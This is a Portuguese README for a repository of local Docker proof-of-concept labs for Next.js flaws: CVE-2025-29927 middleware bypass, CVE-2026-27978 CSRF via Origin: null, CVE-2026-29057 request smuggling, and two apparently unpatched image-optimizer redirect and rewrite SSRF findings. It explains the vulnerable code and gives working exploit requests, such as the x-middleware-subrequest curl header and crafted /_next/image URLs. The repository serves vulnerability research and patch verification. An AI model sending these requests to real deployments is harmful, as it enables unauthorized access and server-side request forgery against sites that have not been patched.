
Algumas Provas de Conceito (POCs) para CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 no Next.js.
Este repositório contém ambientes de prova de conceito reproduzíveis para três vulnerabilidades do Next.js. Cada PoC inclui um alvo vulnerável, um alvo corrigido e um script que demonstra a diferença de comportamento entre os dois.
O objetivo deste projeto é tornar a causa raiz e o impacto prático de cada problema fáceis de observar em um ambiente mínimo.
| CVE | Aviso | Impacto | Versão vulnerável | Versão corrigida |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | bypass de autorização quando o controle de acesso depende apenas de middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | bypass de Origin: null nas verificações de CSRF de Server Actions | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | contrabando de requisições HTTP (request smuggling) por meio de reescritas para um backend externo | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | achado de auditoria de código-fonte local | bypass da lista de permissões remota do otimizador de imagens por meio de redirecionamentos | 16.2.4 | não verificado |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | achado de auditoria de código-fonte local | URL local do otimizador de imagens pode alcançar upstream privado por meio de reescritas externas | 16.2.4 | não verificado |
Os hashes abaixo foram obtidos do repositório upstream vercel/next.js.
| CVE | Commit do lançamento vulnerável | Commit do lançamento corrigido | Commit de correção relevante |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose esteja disponível.docker compose up --build
Portas expostas:
3001 -> CVE-2025-29927 vulnerável3002 -> CVE-2025-29927 corrigido3003 -> CVE-2026-27978 vulnerável3004 -> CVE-2026-27978 corrigido3005 -> CVE-2026-29057 vulnerável3006 -> CVE-2026-29057 corrigido3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITENeste PoC, /dashboard é protegido apenas por middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
A verificação de autorização em si não está incorreta. O problema é que a rota depende inteiramente da suposição de que a execução do middleware não pode ser ignorada.
Nas versões afetadas do Next.js, requisições externas ainda podiam fornecer o cabeçalho interno x-middleware-subrequest, e o runtime tratava esse valor como metadados confiáveis de middleware. A lógica vulnerável relevante era:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest não era filtrado ali, portanto entrada controlada pelo atacante podia alcançar o runtime do middleware. Esse valor era então usado para derivar a profundidade de recursão:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Se um atacante enviar middleware:middleware:middleware:middleware:middleware, o runtime pode concluir que a profundidade de recursão já foi atingida e encaminhar a requisição sem executar o middleware da aplicação.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Comportamento esperado:
3001 retorna um redirecionamento sem o cabeçalho do exploit, mas retorna 200 OK com x-middleware-subrequest.3002 continua redirecionando para /login porque o cabeçalho interno não é mais confiável a partir de entrada externa.Este PoC expõe uma Server Action normal que altera o estado no lado do servidor:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
O problema não está em transferFunds() em si. O comportamento vulnerável estava na validação de CSRF do Next.js para Server Actions. Nas versões afetadas, Origin: null era tratado como uma origem ausente em vez de uma origem opaca explícita:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Como 'null' se tornava undefined, requisições de origens opacas, como iframes com sandbox, podiam evitar o caminho de comparação host/origin e ainda ser processadas com os cookies da vítima anexados.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Comportamento esperado:
Origin: nullEste PoC reescreve /rewrites/:path* para um backend externo:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
O comportamento vulnerável estava na dependência http-proxy empacotada (vendored) usada pelo Next.js para reescritas. Nas versões afetadas, a lógica do proxy para requisições DELETE e OPTIONS podia adicionar content-length: 0 e remover transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Isso criava uma divergência de limite de requisição entre a cadeia de proxy e o backend quando uma requisição fragmentada (chunked) manipulada era encaminhada. Como resultado, uma segunda requisição podia ser contrabandeada para o backend pela mesma conexão.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Comportamento esperado:
DELETE /rewrites/poc bruta e fragmentada contendo um GET /secret contrabandeadoDELETE /rewrites/poc quanto GET /secretExemplo de saída observada:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
O código-fonte local de next.js-16.2.4 valida images.remotePatterns apenas para o parâmetro url original em ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
O caminho de busca na rede então segue redirecionamentos recursivamente em fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Essa chamada recursiva mantém a verificação de IP privado, mas não recebe nem reaplica domains / remotePatterns. Uma origem de imagem permitida e configurada pode, portanto, redirecionar o otimizador para uma origem pública diferente que não passaria na lista de permissões original de imagens.
O PoC usa serviços localhost e define dangerouslyAllowLocalIP: true apenas para que o comportamento da lista de permissões possa ser reproduzido sem infraestrutura externa. A lista de permissões de imagens configurada permite apenas http://127.0.0.1:4100/allowed/**; esse servidor redireciona para http://127.0.0.1:4200/blocked/private.png, e o segundo servidor registra se foi alcançado.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Comportamento esperado:
41004200, que está fora de images.remotePatterns4200 registra GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Use o script fornecido, pois o campo Server Action é gerado dinamicamente pelo servidor.
Use o script fornecido, pois o exploit depende de um payload TCP bruto com uma segunda requisição contrabandeada.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Para uma URL de imagem local, ImageOptimizerCache.validateParams() valida apenas o pathname local contra images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
O caminho de busca interno então reentra no manipulador de requisições do Next.js:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Se a rota local correspondente for configurada como uma reescrita externa, a requisição pode ser enviada via proxy para esse destino externo. Esse caminho não chama fetchExternalImage(), portanto a proteção de IP privado usada para URLs de imagem absolutas não é aplicada ao destino reescrito.
A configuração do PoC permite apenas URLs de imagem locais sob /allowed/** e, em seguida, reescreve esse caminho para http://127.0.0.1:4300/private/:path*:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Comportamento esperado:
/allowed/secret.png porque corresponde a images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state